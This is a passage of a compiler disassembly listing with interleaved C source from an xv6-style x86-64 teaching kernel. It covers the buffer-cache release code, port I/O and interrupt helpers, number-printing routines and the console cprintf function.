ffff800000100550: 80 ff ff
ffff800000100553: 48 8b 90 a8 51 00 00 mov 0x51a8(%rax),%rdx
ffff80000010055a: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010055e: 48 89 90 a0 00 00 00 mov %rdx,0xa0(%rax)
b->prev = &bcache.head;
ffff800000100565: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000100569: 48 b9 08 31 11 00 00 movabs $0xffff800000113108,%rcx
ffff800000100570: 80 ff ff
ffff800000100573: 48 89 88 98 00 00 00 mov %rcx,0x98(%rax)
bcache.head.next->prev = b;
ffff80000010057a: 48 b8 00 e0 10 00 00 movabs $0xffff80000010e000,%rax
ffff800000100581: 80 ff ff
ffff800000100584: 48 8b 80 a8 51 00 00 mov 0x51a8(%rax),%rax
ffff80000010058b: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff80000010058f: 48 89 90 98 00 00 00 mov %rdx,0x98(%rax)
bcache.head.next = b;
ffff800000100596: 48 ba 00 e0 10 00 00 movabs $0xffff80000010e000,%rdx
ffff80000010059d: 80 ff ff
ffff8000001005a0: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001005a4: 48 89 82 a8 51 00 00 mov %rax,0x51a8(%rdx)
}
release(&bcache.lock);
ffff8000001005ab: 48 bf 00 e0 10 00 00 movabs $0xffff80000010e000,%rdi
ffff8000001005b2: 80 ff ff
ffff8000001005b5: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff8000001005bc: 80 ff ff
ffff8000001005bf: ff d0 callq *%rax
}
ffff8000001005c1: 90 nop
ffff8000001005c2: c9 leaveq
ffff8000001005c3: c3 retq
ffff8000001005c4 <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
ffff8000001005c4: f3 0f 1e fa endbr64
ffff8000001005c8: 55 push %rbp
ffff8000001005c9: 48 89 e5 mov %rsp,%rbp
ffff8000001005cc: 48 83 ec 18 sub $0x18,%rsp
ffff8000001005d0: 89 f8 mov %edi,%eax
ffff8000001005d2: 66 89 45 ec mov %ax,-0x14(%rbp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
ffff8000001005d6: 0f b7 45 ec movzwl -0x14(%rbp),%eax
ffff8000001005da: 89 c2 mov %eax,%edx
ffff8000001005dc: ec in (%dx),%al
ffff8000001005dd: 88 45 ff mov %al,-0x1(%rbp)
return data;
ffff8000001005e0: 0f b6 45 ff movzbl -0x1(%rbp),%eax
}
ffff8000001005e4: c9 leaveq
ffff8000001005e5: c3 retq
ffff8000001005e6 <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
ffff8000001005e6: f3 0f 1e fa endbr64
ffff8000001005ea: 55 push %rbp
ffff8000001005eb: 48 89 e5 mov %rsp,%rbp
ffff8000001005ee: 48 83 ec 08 sub $0x8,%rsp
ffff8000001005f2: 89 f8 mov %edi,%eax
ffff8000001005f4: 89 f2 mov %esi,%edx
ffff8000001005f6: 66 89 45 fc mov %ax,-0x4(%rbp)
ffff8000001005fa: 89 d0 mov %edx,%eax
ffff8000001005fc: 88 45 f8 mov %al,-0x8(%rbp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
ffff8000001005ff: 0f b6 45 f8 movzbl -0x8(%rbp),%eax
ffff800000100603: 0f b7 55 fc movzwl -0x4(%rbp),%edx
ffff800000100607: ee out %al,(%dx)
}
ffff800000100608: 90 nop
ffff800000100609: c9 leaveq
ffff80000010060a: c3 retq
ffff80000010060b <lidt>:
struct gatedesc;
static inline void
lidt(struct gatedesc *p, int size)
{
ffff80000010060b: f3 0f 1e fa endbr64
ffff80000010060f: 55 push %rbp
ffff800000100610: 48 89 e5 mov %rsp,%rbp
ffff800000100613: 48 83 ec 30 sub $0x30,%rsp
ffff800000100617: 48 89 7d d8 mov %rdi,-0x28(%rbp)
ffff80000010061b: 89 75 d4 mov %esi,-0x2c(%rbp)
volatile ushort pd[5];
addr_t addr = (addr_t)p;
ffff80000010061e: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000100622: 48 89 45 f8 mov %rax,-0x8(%rbp)
pd[0] = size-1;
ffff800000100626: 8b 45 d4 mov -0x2c(%rbp),%eax
ffff800000100629: 83 e8 01 sub $0x1,%eax
ffff80000010062c: 66 89 45 ee mov %ax,-0x12(%rbp)
pd[1] = addr;
ffff800000100630: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000100634: 66 89 45 f0 mov %ax,-0x10(%rbp)
pd[2] = addr >> 16;
ffff800000100638: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010063c: 48 c1 e8 10 shr $0x10,%rax
ffff800000100640: 66 89 45 f2 mov %ax,-0xe(%rbp)
pd[3] = addr >> 32;
ffff800000100644: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000100648: 48 c1 e8 20 shr $0x20,%rax
ffff80000010064c: 66 89 45 f4 mov %ax,-0xc(%rbp)
pd[4] = addr >> 48;
ffff800000100650: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000100654: 48 c1 e8 30 shr $0x30,%rax
ffff800000100658: 66 89 45 f6 mov %ax,-0xa(%rbp)
asm volatile("lidt (%0)" : : "r" (pd));
ffff80000010065c: 48 8d 45 ee lea -0x12(%rbp),%rax
ffff800000100660: 0f 01 18 lidt (%rax)
}
ffff800000100663: 90 nop
ffff800000100664: c9 leaveq
ffff800000100665: c3 retq
ffff800000100666 <cli>:
return eflags;
}
static inline void
cli(void)
{
ffff800000100666: f3 0f 1e fa endbr64
ffff80000010066a: 55 push %rbp
ffff80000010066b: 48 89 e5 mov %rsp,%rbp
asm volatile("cli");
ffff80000010066e: fa cli
}
ffff80000010066f: 90 nop
ffff800000100670: 5d pop %rbp
ffff800000100671: c3 retq
ffff800000100672 <hlt>:
asm volatile("sti");
}
static inline void
hlt(void)
{
ffff800000100672: f3 0f 1e fa endbr64
ffff800000100676: 55 push %rbp
ffff800000100677: 48 89 e5 mov %rsp,%rbp
asm volatile("hlt");
ffff80000010067a: f4 hlt
}
ffff80000010067b: 90 nop
ffff80000010067c: 5d pop %rbp
ffff80000010067d: c3 retq
ffff80000010067e <print_x64>:
static char digits[] = "0123456789abcdef";
static void
print_x64(addr_t x)
{
ffff80000010067e: f3 0f 1e fa endbr64
ffff800000100682: 55 push %rbp
ffff800000100683: 48 89 e5 mov %rsp,%rbp
ffff800000100686: 48 83 ec 20 sub $0x20,%rsp
ffff80000010068a: 48 89 7d e8 mov %rdi,-0x18(%rbp)
int i;
for (i = 0; i < (sizeof(addr_t) * 2); i++, x <<= 4)
ffff80000010068e: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff800000100695: eb 30 jmp ffff8000001006c7 <print_x64+0x49>
consputc(digits[x >> (sizeof(addr_t) * 8 - 4)]);
ffff800000100697: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010069b: 48 c1 e8 3c shr $0x3c,%rax
ffff80000010069f: 48 ba 00 d0 10 00 00 movabs $0xffff80000010d000,%rdx
ffff8000001006a6: 80 ff ff
ffff8000001006a9: 0f b6 04 02 movzbl (%rdx,%rax,1),%eax
ffff8000001006ad: 0f be c0 movsbl %al,%eax
ffff8000001006b0: 89 c7 mov %eax,%edi
ffff8000001006b2: 48 b8 e7 0e 10 00 00 movabs $0xffff800000100ee7,%rax
ffff8000001006b9: 80 ff ff
ffff8000001006bc: ff d0 callq *%rax
for (i = 0; i < (sizeof(addr_t) * 2); i++, x <<= 4)
ffff8000001006be: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff8000001006c2: 48 c1 65 e8 04 shlq $0x4,-0x18(%rbp)
ffff8000001006c7: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001006ca: 83 f8 0f cmp $0xf,%eax
ffff8000001006cd: 76 c8 jbe ffff800000100697 <print_x64+0x19>
}
ffff8000001006cf: 90 nop
ffff8000001006d0: 90 nop
ffff8000001006d1: c9 leaveq
ffff8000001006d2: c3 retq
ffff8000001006d3 <print_x32>:
static void
print_x32(uint x)
{
ffff8000001006d3: f3 0f 1e fa endbr64
ffff8000001006d7: 55 push %rbp
ffff8000001006d8: 48 89 e5 mov %rsp,%rbp
ffff8000001006db: 48 83 ec 20 sub $0x20,%rsp
ffff8000001006df: 89 7d ec mov %edi,-0x14(%rbp)
int i;
for (i = 0; i < (sizeof(uint) * 2); i++, x <<= 4)
ffff8000001006e2: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff8000001006e9: eb 31 jmp ffff80000010071c <print_x32+0x49>
consputc(digits[x >> (sizeof(uint) * 8 - 4)]);
ffff8000001006eb: 8b 45 ec mov -0x14(%rbp),%eax
ffff8000001006ee: c1 e8 1c shr $0x1c,%eax
ffff8000001006f1: 89 c2 mov %eax,%edx
ffff8000001006f3: 48 b8 00 d0 10 00 00 movabs $0xffff80000010d000,%rax
ffff8000001006fa: 80 ff ff
ffff8000001006fd: 89 d2 mov %edx,%edx
ffff8000001006ff: 0f b6 04 10 movzbl (%rax,%rdx,1),%eax
ffff800000100703: 0f be c0 movsbl %al,%eax
ffff800000100706: 89 c7 mov %eax,%edi
ffff800000100708: 48 b8 e7 0e 10 00 00 movabs $0xffff800000100ee7,%rax
ffff80000010070f: 80 ff ff
ffff800000100712: ff d0 callq *%rax
for (i = 0; i < (sizeof(uint) * 2); i++, x <<= 4)
ffff800000100714: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff800000100718: c1 65 ec 04 shll $0x4,-0x14(%rbp)
ffff80000010071c: 8b 45 fc mov -0x4(%rbp),%eax
ffff80000010071f: 83 f8 07 cmp $0x7,%eax
ffff800000100722: 76 c7 jbe ffff8000001006eb <print_x32+0x18>
}
ffff800000100724: 90 nop
ffff800000100725: 90 nop
ffff800000100726: c9 leaveq
ffff800000100727: c3 retq
ffff800000100728 <print_d>:
static void
print_d(int v)
{
ffff800000100728: f3 0f 1e fa endbr64
ffff80000010072c: 55 push %rbp
ffff80000010072d: 48 89 e5 mov %rsp,%rbp
ffff800000100730: 48 83 ec 30 sub $0x30,%rsp
ffff800000100734: 89 7d dc mov %edi,-0x24(%rbp)
char buf[16];
int64 x = v;
ffff800000100737: 8b 45 dc mov -0x24(%rbp),%eax
ffff80000010073a: 48 98 cltq
ffff80000010073c: 48 89 45 f8 mov %rax,-0x8(%rbp)
if (v < 0)
ffff800000100740: 83 7d dc 00 cmpl $0x0,-0x24(%rbp)
ffff800000100744: 79 04 jns ffff80000010074a <print_d+0x22>
x = -x;
ffff800000100746: 48 f7 5d f8 negq -0x8(%rbp)
int i = 0;
ffff80000010074a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%rbp)
do {
buf[i++] = digits[x % 10];
ffff800000100751: 48 8b 4d f8 mov -0x8(%rbp),%rcx
ffff800000100755: 48 ba 67 66 66 66 66 movabs $0x6666666666666667,%rdx
ffff80000010075c: 66 66 66
ffff80000010075f: 48 89 c8 mov %rcx,%rax
ffff800000100762: 48 f7 ea imul %rdx
ffff800000100765: 48 c1 fa 02 sar $0x2,%rdx
ffff800000100769: 48 89 c8 mov %rcx,%rax
ffff80000010076c: 48 c1 f8 3f sar $0x3f,%rax
ffff800000100770: 48 29 c2 sub %rax,%rdx
ffff800000100773: 48 89 d0 mov %rdx,%rax
ffff800000100776: 48 c1 e0 02 shl $0x2,%rax
ffff80000010077a: 48 01 d0 add %rdx,%rax
ffff80000010077d: 48 01 c0 add %rax,%rax
ffff800000100780: 48 29 c1 sub %rax,%rcx
ffff800000100783: 48 89 ca mov %rcx,%rdx
ffff800000100786: 8b 45 f4 mov -0xc(%rbp),%eax
ffff800000100789: 8d 48 01 lea 0x1(%rax),%ecx
ffff80000010078c: 89 4d f4 mov %ecx,-0xc(%rbp)
ffff80000010078f: 48 b9 00 d0 10 00 00 movabs $0xffff80000010d000,%rcx
ffff800000100796: 80 ff ff
ffff800000100799: 0f b6 14 11 movzbl (%rcx,%rdx,1),%edx
ffff80000010079d: 48 98 cltq
ffff80000010079f: 88 54 05 e0 mov %dl,-0x20(%rbp,%rax,1)
x /= 10;
ffff8000001007a3: 48 8b 4d f8 mov -0x8(%rbp),%rcx
ffff8000001007a7: 48 ba 67 66 66 66 66 movabs $0x6666666666666667,%rdx
ffff8000001007ae: 66 66 66
ffff8000001007b1: 48 89 c8 mov %rcx,%rax
ffff8000001007b4: 48 f7 ea imul %rdx
ffff8000001007b7: 48 c1 fa 02 sar $0x2,%rdx
ffff8000001007bb: 48 89 c8 mov %rcx,%rax
ffff8000001007be: 48 c1 f8 3f sar $0x3f,%rax
ffff8000001007c2: 48 29 c2 sub %rax,%rdx
ffff8000001007c5: 48 89 d0 mov %rdx,%rax
ffff8000001007c8: 48 89 45 f8 mov %rax,-0x8(%rbp)
} while(x != 0);
ffff8000001007cc: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
ffff8000001007d1: 0f 85 7a ff ff ff jne ffff800000100751 <print_d+0x29>
if (v < 0)
ffff8000001007d7: 83 7d dc 00 cmpl $0x0,-0x24(%rbp)
ffff8000001007db: 79 2d jns ffff80000010080a <print_d+0xe2>
buf[i++] = '-';
ffff8000001007dd: 8b 45 f4 mov -0xc(%rbp),%eax
ffff8000001007e0: 8d 50 01 lea 0x1(%rax),%edx
ffff8000001007e3: 89 55 f4 mov %edx,-0xc(%rbp)
ffff8000001007e6: 48 98 cltq
ffff8000001007e8: c6 44 05 e0 2d movb $0x2d,-0x20(%rbp,%rax,1)
while (--i >= 0)
ffff8000001007ed: eb 1b jmp ffff80000010080a <print_d+0xe2>
consputc(buf[i]);
ffff8000001007ef: 8b 45 f4 mov -0xc(%rbp),%eax
ffff8000001007f2: 48 98 cltq
ffff8000001007f4: 0f b6 44 05 e0 movzbl -0x20(%rbp,%rax,1),%eax
ffff8000001007f9: 0f be c0 movsbl %al,%eax
ffff8000001007fc: 89 c7 mov %eax,%edi
ffff8000001007fe: 48 b8 e7 0e 10 00 00 movabs $0xffff800000100ee7,%rax
ffff800000100805: 80 ff ff
ffff800000100808: ff d0 callq *%rax
while (--i >= 0)
ffff80000010080a: 83 6d f4 01 subl $0x1,-0xc(%rbp)
ffff80000010080e: 83 7d f4 00 cmpl $0x0,-0xc(%rbp)
ffff800000100812: 79 db jns ffff8000001007ef <print_d+0xc7>
}
ffff800000100814: 90 nop
ffff800000100815: 90 nop
ffff800000100816: c9 leaveq
ffff800000100817: c3 retq
ffff800000100818 <cprintf>:
//PAGEBREAK: 50
// Print to the console. only understands %d, %x, %p, %s.
void
cprintf(char *fmt, ...)
{
ffff800000100818: f3 0f 1e fa endbr64
ffff80000010081c: 55 push %rbp
ffff80000010081d: 48 89 e5 mov %rsp,%rbp
ffff800000100820: 48 81 ec f0 00 00 00 sub $0xf0,%rsp
ffff800000100827: 48 89 bd 18 ff ff ff mov %rdi,-0xe8(%rbp)
ffff80000010082e: 48 89 b5 58 ff ff ff mov %rsi,-0xa8(%rbp)
ffff800000100835: 48 89 95 60 ff ff ff mov %rdx,-0xa0(%rbp)
ffff80000010083c: 48 89 8d 68 ff ff ff mov %rcx,-0x98(%rbp)
ffff800000100843: 4c 89 85 70 ff ff ff mov %r8,-0x90(%rbp)
ffff80000010084a: 4c 89 8d 78 ff ff ff mov %r9,-0x88(%rbp)
ffff800000100851: 84 c0 test %al,%al
ffff800000100853: 74 20 je ffff800000100875 <cprintf+0x5d>
ffff800000100855: 0f 29 45 80 movaps %xmm0,-0x80(%rbp)
ffff800000100859: 0f 29 4d 90 movaps %xmm1,-0x70(%rbp)
ffff80000010085d: 0f 29 55 a0 movaps %xmm2,-0x60(%rbp)
ffff800000100861: 0f 29 5d b0 movaps %xmm3,-0x50(%rbp)
ffff800000100865: 0f 29 65 c0 movaps %xmm4,-0x40(%rbp)
ffff800000100869: 0f 29 6d d0 movaps %xmm5,-0x30(%rbp)
ffff80000010086d: 0f 29 75 e0 movaps %xmm6,-0x20(%rbp)
ffff800000100871: 0f 29 7d f0 movaps %xmm7,-0x10(%rbp)
va_list ap;
int i, c, locking;
char *s;
va_start(ap, fmt);
ffff800000100875: c7 85 20 ff ff ff 08 movl $0x8,-0xe0(%rbp)
ffff80000010087c: 00 00 00
ffff80000010087f: c7 85 24 ff ff ff 30 movl $0x30,-0xdc(%rbp)
ffff800000100886: 00 00 00
ffff800000100889: 48 8d 45 10 lea 0x10(%rbp),%rax
ffff80000010088d: 48 89 85 28 ff ff ff mov %rax,-0xd8(%rbp)
ffff800000100894: 48 8d 85 50 ff ff ff lea -0xb0(%rbp),%rax
ffff80000010089b: 48 89 85 30 ff ff ff mov %rax,-0xd0(%rbp)
locking = cons.locking;
ffff8000001008a2: 48 b8 c0 34 11 00 00 movabs $0xffff8000001134c0,%rax
ffff8000001008a9: 80 ff ff
ffff8000001008ac: 8b 40 68 mov 0x68(%rax),%eax
ffff8000001008af: 89 85 3c ff ff ff mov %eax,-0xc4(%rbp)
if (locking)
ffff8000001008b5: 83 bd 3c ff ff ff 00 cmpl $0x0,-0xc4(%rbp)
ffff8000001008bc: 74 16 je ffff8000001008d4 <cprintf+0xbc>
acquire(&cons.lock);
ffff8000001008be: 48 bf c0 34 11 00 00 movabs $0xffff8000001134c0,%rdi
ffff8000001008c5: 80 ff ff
ffff8000001008c8: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff8000001008cf: 80 ff ff
ffff8000001008d2: ff d0 callq *%rax
if (fmt == 0)
ffff8000001008d4: 48 83 bd 18 ff ff ff cmpq $0x0,-0xe8(%rbp)
ffff8000001008db: 00
ffff8000001008dc: 75 16 jne ffff8000001008f4 <cprintf+0xdc>
panic("null fmt");
ffff8000001008de: 48 bf e5 c4 10 00 00 movabs $0xffff80000010c4e5,%rdi
ffff8000001008e5: 80 ff ff
ffff8000001008e8: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff8000001008ef: 80 ff ff
ffff8000001008f2: ff d0 callq *%rax
for (i = 0; (c = fmt[i] & 0xff) != 0; i++) {
ffff8000001008f4: c7 85 4c ff ff ff 00 movl $0x0,-0xb4(%rbp)
ffff8000001008fb: 00 00 00
ffff8000001008fe: e9 a0 02 00 00 jmpq ffff800000100ba3 <cprintf+0x38b>
if (c != '%') {
ffff800000100903: 83 bd 38 ff ff ff 25 cmpl $0x25,-0xc8(%rbp)
ffff80000010090a: 74 19 je ffff800000100925 <cprintf+0x10d>
consputc(c);
ffff80000010090c: 8b 85 38 ff ff ff mov -0xc8(%rbp),%eax
ffff800000100912: 89 c7 mov %eax,%edi
ffff800000100914: 48 b8 e7 0e 10 00 00 movabs $0xffff800000100ee7,%rax
ffff80000010091b: 80 ff ff
ffff80000010091e: ff d0 callq *%rax
continue;
ffff800000100920: e9 77 02 00 00 jmpq ffff800000100b9c <cprintf+0x384>
}
c = fmt[++i] & 0xff;
ffff800000100925: 83 85 4c ff ff ff 01 addl $0x1,-0xb4(%rbp)
ffff80000010092c: 8b 85 4c ff ff ff mov -0xb4(%rbp),%eax
ffff800000100932: 48 63 d0 movslq %eax,%rdx
ffff800000100935: 48 8b 85 18 ff ff ff mov -0xe8(%rbp),%rax
ffff80000010093c: 48 01 d0 add %rdx,%rax
ffff80000010093f: 0f b6 00 movzbl (%rax),%eax
ffff800000100942: 0f be c0 movsbl %al,%eax
ffff800000100945: 25 ff 00 00 00 and $0xff,%eax
ffff80000010094a: 89 85 38 ff ff ff mov %eax,-0xc8(%rbp)
if (c == 0)
ffff800000100950: 83 bd 38 ff ff ff 00 cmpl $0x0,-0xc8(%rbp)
ffff800000100957: 0f 84 79 02 00 00 je ffff800000100bd6 <cprintf+0x3be>
break;
switch(c) {
ffff80000010095d: 83 bd 38 ff ff ff 78 cmpl $0x78,-0xc8(%rbp)
ffff800000100964: 0f 84 b0 00 00 00 je ffff800000100a1a <cprintf+0x202>
ffff80000010096a: 83 bd 38 ff ff ff 78 cmpl $0x78,-0xc8(%rbp)
ffff800000100971: 0f 8f ff 01 00 00 jg ffff800000100b76 <cprintf+0x35e>
ffff800000100977: 83 bd 38 ff ff ff 73 cmpl $0x73,-0xc8(%rbp)
ffff80000010097e: 0f 84 42 01 00 00 je ffff800000100ac6 <cprintf+0x2ae>
ffff800000100984: 83 bd 38 ff ff ff 73 cmpl $0x73,-0xc8(%rbp)
ffff80000010098b: 0f 8f e5 01 00 00 jg ffff800000100b76 <cprintf+0x35e>
ffff800000100991: 83 bd 38 ff ff ff 70 cmpl $0x70,-0xc8(%rbp)
ffff800000100998: 0f 84 d1 00 00 00 je ffff800000100a6f <cprintf+0x257>
ffff80000010099e: 83 bd 38 ff ff ff 70 cmpl $0x70,-0xc8(%rbp)
ffff8000001009a5: 0f 8f cb 01 00 00 jg ffff800000100b76 <cprintf+0x35e>
ffff8000001009ab: 83 bd 38 ff ff ff 25 cmpl $0x25,-0xc8(%rbp)
ffff8000001009b2: 0f 84 ab 01 00 00 je ffff800000100b63 <cprintf+0x34b>
ffff8000001009b8: 83 bd 38 ff ff ff 64 cmpl $0x64,-0xc8(%rbp)
ffff8000001009bf: 0f 85 b1 01 00 00 jne ffff800000100b76 <cprintf+0x35e>
case 'd':
print_d(va_arg(ap, int));
ffff8000001009c5: 8b 85 20 ff ff ff mov -0xe0(%rbp),%eax
ffff8000001009cb: 83 f8 2f cmp $0x2f,%eax
ffff8000001009ce: 77 23 ja ffff8000001009f3 <cprintf+0x1db>
ffff8000001009d0: 48 8b 85 30 ff ff ff mov -0xd0(%rbp),%rax
ffff8000001009d7: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
ffff8000001009dd: 89 d2 mov %edx,%edx
ffff8000001009df: 48 01 d0 add %rdx,%rax
ffff8000001009e2: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
ffff8000001009e8: 83 c2 08 add $0x8,%edx
ffff8000001009eb: 89 95 20 ff ff ff mov %edx,-0xe0(%rbp)
ffff8000001009f1: eb 12 jmp ffff800000100a05 <cprintf+0x1ed>
ffff8000001009f3: 48 8b 85 28 ff ff ff mov -0xd8(%rbp),%rax
ffff8000001009fa: 48 8d 50 08 lea 0x8(%rax),%rdx
ffff8000001009fe: 48 89 95 28 ff ff ff mov %rdx,-0xd8(%rbp)
ffff800000100a05: 8b 00 mov (%rax),%eax
ffff800000100a07: 89 c7 mov %eax,%edi
ffff800000100a09: 48 b8 28 07 10 00 00 movabs $0xffff800000100728,%rax
ffff800000100a10: 80 ff ff
ffff800000100a13: ff d0 callq *%rax
break;
ffff800000100a15: e9 82 01 00 00 jmpq ffff800000100b9c <cprintf+0x384>
case 'x':
print_x32(va_arg(ap, uint));
ffff800000100a1a: 8b 85 20 ff ff ff mov -0xe0(%rbp),%eax
ffff800000100a20: 83 f8 2f cmp $0x2f,%eax
ffff800000100a23: 77 23 ja ffff800000100a48 <cprintf+0x230>
ffff800000100a25: 48 8b 85 30 ff ff ff mov -0xd0(%rbp),%rax
ffff800000100a2c: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
ffff800000100a32: 89 d2 mov %edx,%edx
ffff800000100a34: 48 01 d0 add %rdx,%rax
ffff800000100a37: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
ffff800000100a3d: 83 c2 08 add $0x8,%edx
ffff800000100a40: 89 95 20 ff ff ff mov %edx,-0xe0(%rbp)
ffff800000100a46: eb 12 jmp ffff800000100a5a <cprintf+0x242>
ffff800000100a48: 48 8b 85 28 ff ff ff mov -0xd8(%rbp),%rax
ffff800000100a4f: 48 8d 50 08 lea 0x8(%rax),%rdx
ffff800000100a53: 48 89 95 28 ff ff ff mov %rdx,-0xd8(%rbp)
ffff800000100a5a: 8b 00 mov (%rax),%eax
ffff800000100a5c: 89 c7 mov %eax,%edi
ffff800000100a5e: 48 b8 d3 06 10 00 00 movabs $0xffff8000001006d3,%rax
ffff800000100a65: 80 ff ff
ffff800000100a68: ff d0 callq *%rax
break;
ffff800000100a6a: e9 2d 01 00 00 jmpq ffff800000100b9c <cprintf+0x384>
case 'p':
print_x64(va_arg(ap, addr_t));
ffff800000100a6f: 8b 85 20 ff ff ff mov -0xe0(%rbp),%eax
ffff800000100a75: 83 f8 2f cmp $0x2f,%eax
ffff800000100a78: 77 23 ja ffff800000100a9d <cprintf+0x285>
ffff800000100a7a: 48 8b 85 30 ff ff ff mov -0xd0(%rbp),%rax
ffff800000100a81: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
ffff800000100a87: 89 d2 mov %edx,%edx
ffff800000100a89: 48 01 d0 add %rdx,%rax
ffff800000100a8c: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
ffff800000100a92: 83 c2 08 add $0x8,%edx
ffff800000100a95: 89 95 20 ff ff ff mov %edx,-0xe0(%rbp)
ffff800000100a9b: eb 12 jmp ffff800000100aaf <cprintf+0x297>
ffff800000100a9d: 48 8b 85 28 ff ff ff mov -0xd8(%rbp),%rax
ffff800000100aa4: 48 8d 50 08 lea 0x8(%rax),%rdx
ffff800000100aa8: 48 89 95 28 ff ff ff mov %rdx,-0xd8(%rbp)
ffff800000100aaf: 48 8b 00 mov (%rax),%rax
ffff800000100ab2: 48 89 c7 mov %rax,%rdi
ffff800000100ab5: 48 b8 7e 06 10 00 00 movabs $0xffff80000010067e,%rax
ffff800000100abc: 80 ff ff
ffff800000100abf: ff d0 callq *%rax
break;
ffff800000100ac1: e9 d6 00 00 00 jmpq ffff800000100b9c <cprintf+0x384>
case 's':
if ((s = va_arg(ap, char*)) == 0)
ffff800000100ac6: 8b 85 20 ff ff ff mov -0xe0(%rbp),%eax
ffff800000100acc: 83 f8 2f cmp $0x2f,%eax
ffff800000100acf: 77 23 ja ffff800000100af4 <cprintf+0x2dc>
ffff800000100ad1: 48 8b 85 30 ff ff ff mov -0xd0(%rbp),%rax
ffff800000100ad8: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
ffff800000100ade: 89 d2 mov %edx,%edx
ffff800000100ae0: 48 01 d0 add %rdx,%rax
ffff800000100ae3: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
ffff800000100ae9: 83 c2 08 add $0x8,%edx
ffff800000100aec: 89 95 20 ff ff ff mov %edx,-0xe0(%rbp)
ffff800000100af2: eb 12 jmp ffff800000100b06 <cprintf+0x2ee>
ffff800000100af4: 48 8b 85 28 ff ff ff mov -0xd8(%rbp),%rax
ffff800000100afb: 48 8d 50 08 lea 0x8(%rax),%rdx
ffff800000100aff: 48 89 95 28 ff ff ff mov %rdx,-0xd8(%rbp)
ffff800000100b06: 48 8b 00 mov (%rax),%rax
ffff800000100b09: 48 89 85 40 ff ff ff mov %rax,-0xc0(%rbp)
ffff800000100b10: 48 83 bd 40 ff ff ff cmpq $0x0,-0xc0(%rbp)
ffff800000100b17: 00
ffff800000100b18: 75 39 jne ffff800000100b53 <cprintf+0x33b>
s = "(null)";
ffff800000100b1a: 48 b8 ee c4 10 00 00 movabs $0xffff80000010c4ee,%rax
ffff800000100b21: 80 ff ff
ffff800000100b24: 48 89 85 40 ff ff ff mov %rax,-0xc0(%rbp)
while (*s)
ffff800000100b2b: eb 26 jmp ffff800000100b53 <cprintf+0x33b>
consputc(*(s++));
ffff800000100b2d: 48 8b 85 40 ff ff ff mov -0xc0(%rbp),%rax
ffff800000100b34: 48 8d 50 01 lea 0x1(%rax),%rdx
ffff800000100b38: 48 89 95 40 ff ff ff mov %rdx,-0xc0(%rbp)
ffff800000100b3f: 0f b6 00 movzbl (%rax),%eax
ffff800000100b42: 0f be c0 movsbl %al,%eax
ffff800000100b45: 89 c7 mov %eax,%edi
ffff800000100b47: 48 b8 e7 0e 10 00 00 movabs $0xffff800000100ee7,%rax
ffff800000100b4e: 80 ff ff
ffff800000100b51: ff d0 callq *%rax
while (*s)
ffff800000100b53: 48 8b 85 40 ff ff ff mov -0xc0(%rbp),%rax
ffff800000100b5a: 0f b6 00 movzbl (%rax),%eax
ffff800000100b5d: 84 c0 test %al,%al
ffff800000100b5f: 75 cc jne ffff800000100b2d <cprintf+0x315>
break;
ffff800000100b61: eb 39 jmp ffff800000100b9c <cprintf+0x384>
case '%':
consputc('%');
ffff800000100b63: bf 25 00 00 00 mov $0x25,%edi
ffff800000100b68: 48 b8 e7 0e 10 00 00 movabs $0xffff800000100ee7,%rax
ffff800000100b6f: 80 ff ff
ffff800000100b72: ff d0 callq *%rax
break;
ffff800000100b74: eb 26 jmp ffff800000100b9c <cprintf+0x384>
default:
// Print unknown % sequence to draw attention.
consputc('%');
ffff800000100b76: bf 25 00 00 00 mov $0x25,%edi
ffff800000100b7b: 48 b8 e7 0e 10 00 00 movabs $0xffff800000100ee7,%rax
ffff800000100b82: 80 ff ff
ffff800000100b85: ff d0 callq *%rax
consputc(c);
ffff800000100b87: 8b 85 38 ff ff ff mov -0xc8(%rbp),%eax
ffff800000100b8d: 89 c7 mov %eax,%edi
ffff800000100b8f: 48 b8 e7 0e 10 00 00 movabs $0xffff800000100ee7,%rax
ffff800000100b96: 80 ff ff
ffff800000100b99: ff d0 callq *%rax
break;
ffff800000100b9b: 90 nop
for (i = 0; (c = fmt[i] & 0xff) != 0; i++) {
ffff800000100b9c: 83 85 4c ff ff ff 01 addl $0x1,-0xb4(%rbp)
ffff800000100ba3: 8b 85 4c ff ff ff mov -0xb4(%rbp),%eax
ffff800000100ba9: 48 63 d0 movslq %eax,%rdx
ffff800000100bac: 48 8b 85 18 ff ff ff mov -0xe8(%rbp),%rax
ffff800000100bb3: 48 01 d0 add %rdx,%rax
ffff800000100bb6: 0f b6 00 movzbl (%rax),%eax
ffff800000100bb9: 0f be c0 movsbl %al,%eax
ffff800000100bbc: 25 ff 00 00 00 and $0xff,%eax
